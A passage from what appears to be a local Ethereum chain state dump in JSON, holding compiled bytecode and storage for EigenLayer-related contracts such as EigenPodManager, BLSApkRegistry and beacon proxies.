767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae":{"nonce":1,"balance":"0x0","code":"0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x9d4454b023096f34b160d6b654540c56a1f81688":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a47565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a60565b6102a261029d366004611a77565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa1565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b61034461033f366004611a77565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611ae9565b6109b8565b6103f26103ed366004611b46565b610e0b565b6040516101529190611bbe565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a47565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146104ac5760405162461bcd60e51b81526004016104a390611c08565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146105fc5760405162461bcd60e51b81526004016104a390611c08565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c7c565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76